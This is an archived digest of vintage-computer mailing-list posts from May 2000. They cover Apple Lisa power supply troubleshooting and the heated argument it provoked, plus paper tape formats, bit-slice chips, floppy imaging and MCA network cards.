In-Reply-To: <392D4315.1CDB0D59@home.com> Message-ID: <3.0.1.16.20000525184308.5aaff9d4@mailhost.intellistar.net> >Joe wrote: >> I found this in a pile of surplus computers yesterday. Can anyone tell >> me what it is? I posted some pictures of the box. They're at "www.intellistar.net\~rigdonj\strange\front.jpg", "www.intellistar.net\~rigdonj\strange\back.jpg", "www.intellistar.net\~rigdonj\strange\drive.jpg", and "www.intellistar.net\~rigdonj\strange\logic-bd.jpg". Joe From rdd at smart.net Thu May 25 17:52:43 2000 From: rdd at smart.net (R. D. Davis) Date: Sun Feb 27 18:53:07 2005 Subject: Get up on the wrong side of the bed this morning? [Was: Re: Notes on repairing the Apple Lisa power supply] In-Reply-To: <016c01bfc692$fab2a600$0200a8c0@marvin> Message-ID: On Thu, 25 May 2000, Mark Gregory wrote: > On the whole, your reply seemed remarkably snotty and unhelpful, and didn't Sorry it appeared that way; it was posted only out of concern for the preservation of older computers. > add much useful information > to help solve the problem. And for relatively common computers, component > swapping is a perfectly valid way of isolating a fault quickly. Let's Not always. E.g., a device like a PSU that was working, and is then moved, can have a bit of metal, solder, etc. come lose and short something out. > assume the worst case: he had fried his other Lisa. Would that have been a > tragic loss to history? There are hundreds (thousands?) of other preserved It would be if everyone who had one of them "repaired" it that way. > Lisas out there. Even with blown components, he could still have sold them > for hundreds "as-is" on eBay, where they would provide parts to revive Yes, right... fry that system and then sell it on e-bay, that's ok, because it will still bring a high price, so who cares whether it works, right? Turn the monitors into fishbowls, remove core memory and sell it in a picture frame, because, who cares if these are used again since they can bring big bucks on e-bay. -- R. D. Davis rdd@perqlogic.com http://www.perqlogic.com/rdd 410-744-4900 From rdd at smart.net Thu May 25 18:12:49 2000 From: rdd at smart.net (R. D. Davis) Date: Sun Feb 27 18:53:07 2005 Subject: Notes on repairing the Apple Lisa power supply In-Reply-To: <3.0.1.16.20000525174657.5327c6a4@mailhost.intellistar.net> Message-ID: On Thu, 25 May 2000, Joe wrote: > No, I didn't since I took it out of a working machine. I don't mean WAS What's that got to do with the price of tea in China? > working, I mean one that I have been using and that I tested less than five > minutes before pulling the PS. Yes, and a CP/M system that I carted home from across the street about 13 years ago was working minutes before I plugged it in. A piece of solder shifted, and a tantalum capacitor burst into an orange ball of flame. That's why I'm careful now about such things; I've seen them happen, learned from my mistake, and try to help others learn from it as well. > If you > >don't know what a short circuit is, just ask, or experiment... e.g., > > Thanks but I've seen plenty of them. Very well then, just trying to he helpful. > >They why did you risk swapping in another un-tested, even though > >thought to be good, PSU, and risk additional damage to the boards? > > Yes, you'd better have your eyes checked! I said KNOWN good power supply. > You even quoted me above. You had no way to know it was good without testing it, and since you had to move it, it could have developed problems as I mentioned. > I tested BOTH power supplies as best as possible before swapping them. Yes, just not properly. > >Hmmm... have you considered computer preservation as a hobby instead > >of computer demolition? > > Have you considered minding your own business and not putting words in > other people's mouths? I expressed an opinion; if you have a problem with that, all I can say is that your problems are not necessarily germane and are better discussed between you and your fleas. :-) > I knew what I was doing. Shouldn't you find out what you're talking > about before you start shooting your mouth off? I don't know what kind of > hair you have up your ass but I just e-mailed you and offered you some of > the DEC 11/44 stuff that you were looking for. Now you can forget that! No problem. Have a nice evening. Perhaps someone will trade you some soap to wash your mouth out with for that stuff. -- R. D. Davis rdd@perqlogic.com http://www.perqlogic.com/rdd 410-744-4900 From mgregory at vantageresearch.com Thu May 25 18:27:11 2000 From: mgregory at vantageresearch.com (Mark Gregory) Date: Sun Feb 27 18:53:07 2005 Subject: Get up on the wrong side of the bed this morning? [Was: Re:Notes on repairing the Apple Lisa power supply] Message-ID: <001001bfc6a0$c3f762a0$0200a8c0@marvin> -----Original Message----- From: R. D. Davis To: classiccmp@classiccmp.org Date: Thursday, May 25, 2000 4:57 PM Subject: Re: Get up on the wrong side of the bed this morning? [Was: Re:Notes on repairing the Apple Lisa power supply] > >Not always. E.g., a device like a PSU that was working, and is then >moved, can have a bit of metal, solder, etc. come lose and short >something out. > I'll concede this point if you're moving it across the country, where careless shippers can bang it around and jar something loose. But when moving it across the room from one system to another, I'd say the chances of a catastrophic failure are small. >Yes, right... fry that system and then sell it on e-bay, that's ok, >because it will still bring a high price, so who cares whether it >works, right? Turn the monitors into fishbowls, remove core memory >and sell it in a picture frame, because, who cares if these are used >again since they can bring big bucks on e-bay. > You're missing the points I was trying to make. Firstly, Lisas are relatively common; thousands were built and thousands survive. It's not like we were talking about, say, an Apple I, where only 600-odd were made, and only a couple of hundred survive. The stakes in using slightly risky trouble-shooting techniques to fix a Lisa are low. Secondly, I care a lot about whether old computers work. Most of the 60+ systems in my collection work, and I'm always trying to find parts and information to fix the ones that don't. But I accept the reality that sometimes old computers die, and get used as donors to fix others. And I was trying to point out that since Lisa's fetch very high prices these days, Joe could even recover some of his investment even in the worst case scenario. The idea of accidentally blowing up a Lisa seems to bother you a lot. If you want to save every single remaining classic computer that exists, you're going to need a bigger apartment / house / warehouse / city to live in, because you're going to need a _lot_ of room. Finally, I think you need to remember that if you've never met someone, and know nothing about them, it's rude to make assumptions about or disparage their intelligence, character, or attitudes. Even in e-mail. And that's my final word on the matter Mark. From eric at brouhaha.com Thu May 25 18:36:06 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:53:08 2005 Subject: Altair parts substitutions In-Reply-To: (allisonp@world.std.com) References: Message-ID: <20000525233606.7135.qmail@brouhaha.com> Allison wrote: > However no one ever supplied the 3000 two bit slice other than intel. And Signetics. Dunno if they were an officially licensed second source, but the parts are in their data book. From Glenatacme at aol.com Thu May 25 18:43:24 2000 From: Glenatacme at aol.com (Glenatacme@aol.com) Date: Sun Feb 27 18:53:08 2005 Subject: Get up on the wrong side of the bed this morning? [Was: Re: Notes on repa... Message-ID: <34.5aac901.265f149c@aol.com> << On Thu, 25 May 2000, Mark Gregory wrote: > On the whole, your reply seemed remarkably snotty and unhelpful, and didn't R. D. Davis replied: < Sorry it appeared that way; it was posted only out of concern for the < preservation of older computers. >> Good grief, man, give us a break! If that note was posted "only out of concern" then why did it include this bit of condescension???: < Don't you mean an I/O card with a short circuit somewhere? If you < don't know what a short circuit is, just ask, or experiment... e.g., < if, for example, you touch the conductors connected to the hot and < ground connectors of a mains socket, and a fuse blows or a circuit < breaker trips, you'll find that you've learned a lot about short < circuits and saving classic computers. ;-) Anyone who reads this list on even a semi-regular basis knows that Mr. Rigdon is well aware of what a short is. Why the put-down? Do you think that you are conducting a high-school electric shop class and talking to a bunch of eighth-graders? Personally, I have never received anything from Joe Rigdon except help when I needed it, which is more than I can say of you. Actually, I'm glad that you blatantly displayed your arrogance in your post to this list. Now everyone has a better idea of who they're dealing with when they see a note signed "R. D. Davis." Glen Goodwin 0/0 From eric at brouhaha.com Thu May 25 18:57:55 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:53:08 2005 Subject: Bootable Floppy from CD? In-Reply-To: <4.3.0.20000525095559.022d1600@pc> (message from John Foust on Thu, 25 May 2000 10:02:46 -0500) References: <4.3.0.20000525095559.022d1600@pc> Message-ID: <20000525235755.7362.qmail@brouhaha.com> John Foust wrote: > The 'dd' approach has a few failings. One, it's not tolerant of > bad sectors, right? No, but then not much PC software is. I normally only worry about making disk images of good disks; I don't have any use for preserving bad ones. Assuming that it made sense to save an image of a partially bad diskette, how would you represent bad sectors? > Two, I think you'd need to be sure that your > box's settings could handle all the old variations of disk capacity > from the old days. As I mentioned, Linux *has* /dev/fd0xx variations for all of the common PC disk formats. If you want to save an image of something bizarre, it's definitely the case that you'll have to do something fancier, but I don't recall anyone asking for that. > Three, raw disk images aren't easily searchable > and indexable in the same way as 'tar' or 'zip', but of course those > formats wouldn't handle the boot sectors. For dos diskettes, it's just about as easy as tar or zip when either using mtools, or mounting the image file using the loopback device. From ard at p850ug1.demon.co.uk Thu May 25 17:21:04 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:53:08 2005 Subject: Paper tape format In-Reply-To: <497A9E0467D2D2119B760090271EB8E50E9171@MAIL10> from "Cini, Richard" at May 25, 0 03:49:05 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 434 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000525/741cd2a8/attachment-0001.ksh From ard at p850ug1.demon.co.uk Thu May 25 17:26:23 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:53:08 2005 Subject: Items for trade In-Reply-To: from "R. D. Davis" at May 25, 0 03:51:32 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 703 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000525/6cee69f7/attachment-0001.ksh From ard at p850ug1.demon.co.uk Thu May 25 17:33:24 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:53:08 2005 Subject: Notes on repairing the Apple Lisa power supply In-Reply-To: <3.0.1.16.20000525145848.3d27afbc@mailhost.intellistar.net> from "Joe" at May 25, 0 02:58:48 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1440 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000525/a17a0b7c/attachment-0001.ksh From ard at p850ug1.demon.co.uk Thu May 25 17:41:28 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:53:08 2005 Subject: Strange box In-Reply-To: <3.0.1.16.20000525152820.3d27bd4a@mailhost.intellistar.net> from "Joe" at May 25, 0 03:28:20 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1382 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000525/4c7f0025/attachment-0001.ksh From foo at siconic.com Thu May 25 19:10:08 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:53:08 2005 Subject: Looking for motherboard and wiring info for Lisa 1 In-Reply-To: Message-ID: On Thu, 25 May 2000, Vintage Computer GAWD! wrote: > The Lisa/Macintosh XL Do-it-yourself Guide has some good data on the Lisa, > but no schematics. I believe I have technical data on the Lisa, but it's > buried :( Duh, a URL would've been nice: http://www.cs.dartmouth.edu/~woz/lisatech/ Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From foo at siconic.com Thu May 25 19:22:14 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:53:08 2005 Subject: Get up on the wrong side of the bed this morning? [Was: Re:Notes on repairing the Apple Lisa power supply] In-Reply-To: <001001bfc6a0$c3f762a0$0200a8c0@marvin> Message-ID: On Thu, 25 May 2000, Mark Gregory wrote: > Firstly, Lisas are relatively common; thousands were built and thousands > survive. It's not like we were talking about, say, an Apple I, where only > 600-odd were made, and only a couple of hundred survive. The stakes in > using slightly risky trouble-shooting techniques to fix a Lisa are low. Fact-check: according to Wozniak 200 were made. Now back to the flame fest... FWIW, my thoughts: R.D. Davis was way out of line with his initial reply to Joe. Keep that sort of non-productive ranting to private e-mail. If you wanted to suggest a better way of troubleshooting, offer helpful and useful advice. All you've done is started a flame war that will result in singed egos. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From marvin at rain.org Thu May 25 20:31:58 2000 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:53:08 2005 Subject: Get up on the wrong side of the bed this morning? [Was: Re: Notes on repa... References: <34.5aac901.265f149c@aol.com> Message-ID: <392DD40E.D9E6982D@rain.org> How about dropping this particular thread or taking it to email. Starting this kind of a flame war here doesn't do anyone any good. Glenatacme@aol.com wrote: > > << On Thu, 25 May 2000, Mark Gregory wrote: > > On the whole, your reply seemed remarkably snotty and unhelpful, and didn't > > R. D. Davis replied: > > < Sorry it appeared that way; it was posted only out of concern for the > < preservation of older computers. >> > > Good grief, man, give us a break! If that note was posted "only out of > concern" then why did it include this bit of condescension???: From ard at p850ug1.demon.co.uk Thu May 25 19:49:53 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:53:08 2005 Subject: Get up on the wrong side of the bed this morning? [Was: Re: Notes on repairing the Apple Lisa power supply] In-Reply-To: <016c01bfc692$fab2a600$0200a8c0@marvin> from "Mark Gregory" at May 25, 0 03:48:35 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 4368 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000526/be88bd38/attachment-0001.ksh From allisonp at world.std.com Thu May 25 18:31:49 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:53:08 2005 Subject: Paper tape format Message-ID: <006501bfc6af$6518e510$7f64c0d0@ajp166> >I suppose one could use a hex format, but I've never seen anything under >CP/M other than binary. Normally it's loaded into memory and then saved to >disk. The common file format for ASM output and LOAD input as well as DDT was intel HEX format. it would be logical to puch tape in that format as it had checksum. I'd add that the OS enforced no format for PUNCH and READER devices other than you could present 8bit and recive 8bit data if you cared to. Allison >> What is the punch format used for a paper tape that would be used on an >> Altair or IMSAI? Is it straight binary or something like the Intel Hex >> format? >> >> The reason why I'm asking is because I'm toying with adding a virtual >>paper tape punch/reader to Claus Guiloi's IMSAI emulator. >> >> >> Rich From allisonp at world.std.com Thu May 25 18:35:17 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:53:08 2005 Subject: Altair parts substitutions Message-ID: <006601bfc6af$65cbba50$7f64c0d0@ajp166> >I don't think this was an accident, nor was it a mistake. The only >reference I've ever heard/read made to a bipolar fab under Intel's ownership >has been from you. It's not unlikely that I could have missed it, being I worked for their competitor from 79 to 84 so I'd have to know that. I never said they had a lot of capacity, they did however do bipolar as a supporting technology. Allison From allisonp at world.std.com Thu May 25 18:23:22 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:53:08 2005 Subject: Altair parts substitutions Message-ID: <006401bfc6af$640a5b40$7f64c0d0@ajp166> >> However no one ever supplied the 3000 two bit slice other than intel. > >I don't know if they ever actually supplied them, but I have a 1978 >Signetics 'Bipolar and MOS microprocessors' Databook that lists the >S/N3001 microprogam control unit and the S/N3002 Central Processing >Element. AFAIK they are equivalent to the Intel parts. > >The UK availability chart on the inside cover seem to imply that the >3000-series were available from Signetics in the UK. Sig was the second source for many and made few if any. >The same book also lists the 2901-1 4-bit bit-slice, the 8x300, the 8080, >SC/MP-II and the 2650. And a number of peripheral devices. >One other 'fun' item in the book is the 3000KT8080SK. This is a kit (PCB >+ components) to make an 8080-compatible CPU using 3000 bit-slice. I >would _love_ to see the documentation (which included schematics and >microprogram listings) for this kit ;-) It's been years but I've seen the intel version of that kit. I ahve the signetics catalog but never met anyone that could get half the parts in it. Allison From rdd at smart.net Thu May 25 21:27:12 2000 From: rdd at smart.net (R. D. Davis) Date: Sun Feb 27 18:53:08 2005 Subject: Items for trade In-Reply-To: Message-ID: On Thu, 25 May 2000, Tony Duell wrote: > 4 rows of 32 64Kbit RAM chips is 4 rows, each of 4*64K bytes. Or a total > of 16 * 64K bytes, or 1 Mbyte. > > These boards are larger than you thought, I think (!). Thanks very much for this correction; someone was definitely right about mentioning that I got up on the wrong side of the bed today. > Are you sure they're Unibus? The reason I ask is that I've seen similar I meant to say that they appear to be Unibus. > boards (hex height, NatSemi) made for VAX11/730 (and I would guess > 11/750) systems. They may look like Unibus boards, but the pinouts of the > A and B edge connectors is totally different! How do I tell the difference? I guess I should dig up my 11/7xx handbook and one of the PDP-11 handbooks and make some comparisons. -- R. D. Davis rdd@perqlogic.com http://www.perqlogic.com/rdd 410-744-4900 From rigdonj at intellistar.net Thu May 25 22:44:52 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:53:08 2005 Subject: Notes on repairing the Apple Lisa power supply In-Reply-To: References: <3.0.1.16.20000525145848.3d27afbc@mailhost.intellistar.net> Message-ID: <3.0.1.16.20000525224452.355fa79a@mailhost.intellistar.net> At 11:33 PM 5/25/00 +0100, Tony wrote: >> (3) The CPU does not have to be installed for the PS to work but if it's >> not installed the PS will keep resetting and will make a chirping sound. > >There are normally 2 things that will cause that (Note : I've not seen >the Lisa schematics, and I've not seen inside a Lisa for many years, so >these are general comments). > >The first is that the PSU needs a load -- without a load it overvoltages, >fires the crowbar, shuts down, and repeats. The CPU board provides enough >of a load for it to work (but I'd not want to risk an expensive/rare CPU >board as 'just a load' :-)) > >The second is that the PSU uses separate sense lines that actually >measure the voltage at the CPU board and thus compensate for voltage >drops in the wires/PCB tracks between the PSU and the rest of the system. >These lines are connected to the +5V and ground lines on the CPU board >and with the CPU board removed they float. Thus the PSU thinks it's not >generating enough voltage, increases the output voltage, the crowbar >fires, it shuts down, and repeats. > >Try connected a dummy load (a 6V car bulb is what I generally use) >between the +5V line and ground on the backplane with the CPU removed. If >it powers up properly now, then it was just lacking the load. FWIW I usually use an old disk drive. It's very handy since many computers already have a power connector that will plug directly onto the drive and it provides a load to both the +12 and +5 volt power supplies. > >If it still trips, then you need to identify the sense lines and connect >them to the appropriate power lines. You need a schematic, or at least >pinouts of the boards, for this. And some kind of extender cards for working on a Lisa. Otherwise you're correct on all points. I should point out that the video section and floppy drive were always connected on this one and provided a load. I wish I could get a Lisa schematic! I'd love to know where all the interconnects are that can prevent the power supply from turning on. RD completely overlooked (or just ignored) that fact that the problem with this supply is that it never turns on and not that it turns on and is overloaded. The NUMEROUS other Lisas that I know of that have "bad' power supplies have the same symptoms and I have to wonder if it really is a power supply problem or an interconnect/interlock problem or a problem in the I/O card. I posted those notes to alert others to that possiblity and to see if anyone could shed any light on it. Joe From rigdonj at intellistar.net Thu May 25 22:50:37 2000 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:53:08 2005 Subject: Strange box In-Reply-To: References: <3.0.1.16.20000525152820.3d27bd4a@mailhost.intellistar.net> Message-ID: <3.0.1.16.20000525225037.355f6a14@mailhost.intellistar.net> At 11:41 PM 5/25/00 +0100, Tony wrote: >> I think Tony is right about it beins some kind of buffer box. I wish it >> was some kind of small computer! There are a couple more where I found this > >Well, technically, it is a computer (it's got a microprocessor in it), >but it may well not be user-programmable :-(. Ok OK. > >> one. I opened it this morning and it has has a 8085AH CPU in it along with >> a 8212 IC (8 bit latch) and two 8156 ICs (8 x 256 bit SRAM with timer and >> I/O ports) in it along with a lot of SSI TTL chips. All the ICs seem to be > >Two things which you don't mention... > >Firstly, any kind of ROM/EPROM. Yes. There must be something for it to execute >on power-on. Is there an EPROM in there? If there is, and you can make a >dump of it, then it's worth running strings(1) (a unix program that finds >text strings in a binary file) (or a similar program under another OS). >Sometimes you'll find what's clearly a list of commands or something in >the EPROM. I've thoguht of that. I'll do it if I get the time. One of the list members thinks he may have a manual for it. I'll see what he finds first. > >Secondly, you don't mention any kind of disk controller chip. From which >I conclude it doesn't use one. This almost certainly means that the >format is non-standard, and probably something that no other machine >could read or write. It might be hard-sectored (look at the original >disk). No, the disk is sided sided, double density and soft sectored. There's no disk controller IC in it. It might read/write a track at a time. It might even put >_asynchronous_ data (from some kind of UART) onto the disk -- I've seen >that done once or twice! How can you check for that? Other than monitoring with a scope while it's in operation. Is there any way to check the disk and tell? Joe > >-tony > > From rdd at smart.net Thu May 25 22:36:52 2000 From: rdd at smart.net (R. D. Davis) Date: Sun Feb 27 18:53:08 2005 Subject: Get up on the wrong side of the bed this morning? [Was: Re: Notes on repairing the Apple Lisa power supply] In-Reply-To: <3.0.1.16.20000525182150.0e17d49a@mailhost.intellistar.net> Message-ID: On Thu, 25 May 2000, Joe wrote: > Thanks Mark. Isn't it amazing how many people that never contribute a > single thing feel that they have the right to criticize others? Hmmm... ok, so you say I've never contributed anything. Hmmmm, let's see, I guess that means that my writing the PERQ general FAQ, starting the alt.sys.perq newsgroups about 8 years or so ago and archiving it until my uucp news-feed went away about 2 years ago, writing the CT-Miniframe FAQ, the "DEC PDP and Music/Sound Synthesis Summary," maintaing an archive of PERQ files (which I should hopefully soon make available again), offering the list some free CDC removeable-pack disk drives a while back, preserving various systems over the past 13 years or so (I'm not new to computer preservation), etc. doesn't amount to contributing anything. :-) Granted, the above are no huge contributions, just my attempts at helping other hackers and preservationists in return for all the help that I've received from others over the years. Note: since no one claimed the aforementioned CDC drives, I removed the boards from them in case anyone needs them. My former employer sold the drives for scrap metal; however, I still have the boards if anyone needs them. Joe, perhaps I went a bit overboard with my flames - I apologize. Let's settle this dispute like gentlemen, and, no, I'm not challenging you to a duel! ;-) I don't take back my opinion that things such as swapping without appropriate testing are good, however. It's no big deal to me whether or not you ruin your Apple Lisa, as that machine doesn't particularly interest me - although it would be, I think, most unfortunate that it isn't preserved so that it can be compared to superior machines of it's era. :-) :-) :-) All kidding aside, it would be most unfortunate, for various reasons, if no working Apple Lisas, like other systems, were left if they could have been preserved. Please consider this: let's suppose there was some machine that you really wanted, that you spend years trying to find, then, you find one... it's owner says "I've got two of them, and you can have one as soon as I fix a little problem with one of them," and he proceeds to do some board swapping, PSU swapping, etc., and, then you learn that he's fried all of the chips in both machines and decides to weld 'em both together, glue a cushon to the top of one of them, and sell it on e-bay as a high-tech ottoman? Perhaps we both jumped to unfair conclusions about each other, and said things that annoyed each other; let's both stop the feuding and divert the energy used for such to something that we both, in our own ways, think worthy of working on (preserving classic computers), and realize lessons to be learned from this litle flamefest. A truce? -- R. D. Davis rdd@perqlogic.com http://www.perqlogic.com/rdd 410-744-4900 From jimw at agora.rdrop.com Thu May 25 23:17:57 2000 From: jimw at agora.rdrop.com (James Willing) Date: Sun Feb 27 18:53:08 2005 Subject: Paper tape format In-Reply-To: <497A9E0467D2D2119B760090271EB8E50E9171@MAIL10> Message-ID: <3.0.3.32.20000525211757.009c8320@agora.rdrop.com> At 03:49 PM 5/25/00 -0400, you wrote: >>From the "just out of curiosity" department... > >What is the punch format used for a paper tape that would be used on an >Altair or IMSAI? Is it straight binary or something like the Intel Hex >format? > >The reason why I'm asking is because I'm toying with adding a virtual paper >tape punch/reader to Claus Guiloi's IMSAI emulator. Well... for my $0.225 worth (inflation you know)... I doubt that there is a real answer for that one, unless you select a particular operating 'model' for focus on. By that I mean, that since neither the Altair or IMSAI had a resident monitor program or 'native' operating system at first, there were no hard and fast rules as to what/how you would load code... By way of example: Altair paper tapes were loaded by a keyed in bootstrap routine, which pulled a loader from the paper tape which read the MITS checksummed binary format. IMSAI's paper tapes early on had a keyed in loader, which read in a loader, which read Intel HEX format tapes. Motorola also had a variation on the Intel HEX format which TDL was fond of IIRC, and they produced tapes marketed into the Altair / IMSAI market. Throw CP/M into the mix, and the 'RDR/PUN' devices were raw binary unless they were selected by a loader program, although ASM and MAC could read/write Intel HEX I believe. (where IS that manual...???) Cromemco published their paper tape distributions in a mix of Intel HEX, binary, and Tokenized CROMEMCO BASIC. Processor Technology was largely Intel HEX I think... A lot of third party utility/game/'business' (and I use the phrase lightly) were straight ASCII dumps from Microsoft (sigh) BASIC... ... Tough question, eh? -jim --- jimw@computergarage.org The Computer Garage - http://www.computergarage.org Computer Garage Fax - (503) 646-0174 From foo at siconic.com Thu May 25 22:41:43 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:53:08 2005 Subject: Get up on the wrong side of the bed this morning? [Was: Re: Notes on repairing the Apple Lisa power supply] In-Reply-To: Message-ID: On Thu, 25 May 2000, R. D. Davis wrote: > Hmmm... ok, so you say I've never contributed anything. Hmmmm, let's > see, I guess that means that my writing the PERQ general FAQ, starting > the alt.sys.perq newsgroups about 8 years or so ago and archiving it > until my uucp news-feed went away about 2 years ago, writing the > CT-Miniframe FAQ, the "DEC PDP and Music/Sound Synthesis Summary," > maintaing an archive of PERQ files (which I should hopefully soon make > available again), offering the list some free CDC removeable-pack disk > drives a while back, preserving various systems over the past 13 years > or so (I'm not new to computer preservation), etc. doesn't amount to > contributing anything. :-) Blah blah blah. Look, R.D., if you're an asshole you're an asshole. In that one instant that you decide to be an asshole, all your past accomplishments, no matter how noble or how lofty, are forgotten. You just become "an asshole". So next time, be more patient, take a deep breath, and take a couple more moments than it takes to simply be "an asshole" and explain your position in a manner that does not offend the frail sensibilities of fellow list members. > Granted, the above are no huge contributions, just my attempts at > helping other hackers and preservationists in return for all the help > that I've received from others over the years. Quite the contrary, I think these are excellent contributions and I thank you for taking the time and effort to make those things available! Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From dlinder at uiuc.edu Fri May 26 00:27:11 2000 From: dlinder at uiuc.edu (Dan Linder) Date: Sun Feb 27 18:53:08 2005 Subject: MCA Ethernet Cards Message-ID: All: I have recently stumbled on large stash of MicroChannel Ethernet Cards. I'm thinking of taking the whole bunch (brother & I have a large ps/2 colelction), but would have leftovers for all to partake in. I heard these are generally hard to find, so let me know if you're interested. Ah yes, if I remember, they're various makes & models. ttfn - Dan Linder / dlinder@uiuc.edu / upside@mcs.net - - Riot sounds start riots. / keep talking... - From mikeford at socal.rr.com Fri May 26 01:18:34 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:53:08 2005 Subject: MCA Ethernet Cards In-Reply-To: Message-ID: > I have recently stumbled on large stash of MicroChannel Ethernet Cards. >I'm thinking of taking the whole bunch (brother & I have a large ps/2 >colelction), but would have leftovers for all to partake in. I heard >these are generally hard to find, so let me know if you're interested. > > Ah yes, if I remember, they're various makes & models. Make REAL sure they aren't nasty old or even nasty new Token Ring cards. Many cards that looked very promising to me, turned out to have the weird RJ45 version of token ring, and weren't ethernet cards at all. I am real suspicious of any IBM chip on such a card now. As for value, a nice card like a LanStreamer with 10bt is worth maybe $10 - $15, garden variety 10bt maybe $5 - $10, and 10b2 coax maybe $5, and those are retail prices (ebay etc.). When I dig them out of a bin its more like buck or two each, or $10 for a handfull. Value in MCA is still pretty much Sound cards and some video cards. From wilson at dbit.dbit.com Fri May 26 02:30:24 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:53:08 2005 Subject: PCDOS 2000 In-Reply-To: ; from SUPRDAVE@aol.com on Thu, May 25, 2000 at 06:18:58PM -0400 References: Message-ID: <20000526033024.A1020@dbit.dbit.com> On Thu, May 25, 2000 at 06:18:58PM -0400, SUPRDAVE@aol.com wrote: > there will be an OS2 version update later this year (4.5?) which will offer > usb support amongst other things. Did they do both halves? Last I heard, the OS/2 USB driver supported UHCI chipsets but not OHCI (i.e. the world outside Intel), and it sounded like IBM would be happy to write the OHCI as soon as a single customer showed up who was willing to finance all of the development. I hope they thought better of that. John Wilson D Bit From geoffrob at stmarks.pp.catholic.edu.au Fri May 26 03:06:40 2000 From: geoffrob at stmarks.pp.catholic.edu.au (Geoff Roberts) Date: Sun Feb 27 18:53:08 2005 Subject: MCA Ethernet Cards References: Message-ID: <001501bfc6e9$5377c120$5c7d38cb@helpdesk> ----- Original Message ----- From: "Mike Ford" To: Sent: Friday, May 26, 2000 3:48 PM Subject: Re: MCA Ethernet Cards > Make REAL sure they aren't nasty old or even nasty new Token Ring cards. > Many cards that looked very promising to me, turned out to have the weird > RJ45 version of token ring, and weren't ethernet cards at all. I am real > suspicious of any IBM chip on such a card now. I have a stack of ISA cards that have the RJ45 connector and the more 'normal' token ring connector. Question. I don't have a concentrator/hub or whatever the token ring equivalent is, so is it possible to wire a cable from the RJ45 ala ethernet 'crossover' to connect two machines? Or must there be a concentrator/hub? Cheers Geoff Roberts From ard at p850ug1.demon.co.uk Fri May 26 10:11:17 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:53:08 2005 Subject: Get up on the wrong side of the bed this morning? In-Reply-To: <016c01bfc692$fab2a600$0200a8c0@marvin> from "Mark Gregory" at May 25, 0 03:48: Message-ID: Enough is enough already guys . . . . . I haven't seen this kind of behaviour since I was a kid. Gary Hildebrand From Hans.Franke at mch20.sbs.de Fri May 26 06:34:47 2000 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:53:08 2005 Subject: VCFe Pictures In-Reply-To: References: Message-ID: <200005260935.e4Q9Zuh08606@mail2.siemens.de> Well, still not finished the documentation pictures, but at least I've build up a first page with pictures: http://www.homecomputer.de/VCFe/D/NachleseAusstellung.html The page is at the moment not integrated within the VCFe pages - no links, you have to key it in. It's a short collection with one (frontal) picture of each displayed unit. Sorry, the descriptions are at the moment only availabel in German - I hope to change this soon. Also more pages with detailed pictures and some 'additional' pics will apears at some time. At the moment these pics are taken from Hans Huebner. You may also have a look at the raw material at: http://vaxbusters.org/pix/vcfe I'd cheerful apreciate any other pictures to add them. Gruss H. -- VCF Europa 2.0 am 28./29. April 2001 in Muenchen http://www.vintage.org/vcfe http://www.homecomputer.de/vcfe From pechter at pechter.dyndns.org Fri May 26 05:21:24 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:53:08 2005 Subject: MCA Ethernet Cards In-Reply-To: <001501bfc6e9$5377c120$5c7d38cb@helpdesk> from Geoff Roberts at "May 26, 2000 05:36:40 pm" Message-ID: <200005261021.GAA08834@bg-tc-ppp925.monmouth.com> > > ----- Original Message ----- > From: "Mike Ford" > To: > Sent: Friday, May 26, 2000 3:48 PM > Subject: Re: MCA Ethernet Cards > > > > Make REAL sure they aren't nasty old or even nasty new Token Ring cards. > > Many cards that looked very promising to me, turned out to have the weird > > RJ45 version of token ring, and weren't ethernet cards at all. I am real > > suspicious of any IBM chip on such a card now. > > I have a stack of ISA cards that have the RJ45 connector and the more > 'normal' token ring connector. > Question. I don't have a concentrator/hub or whatever the token ring > equivalent is, so is it possible to wire a cable from the RJ45 ala ethernet > 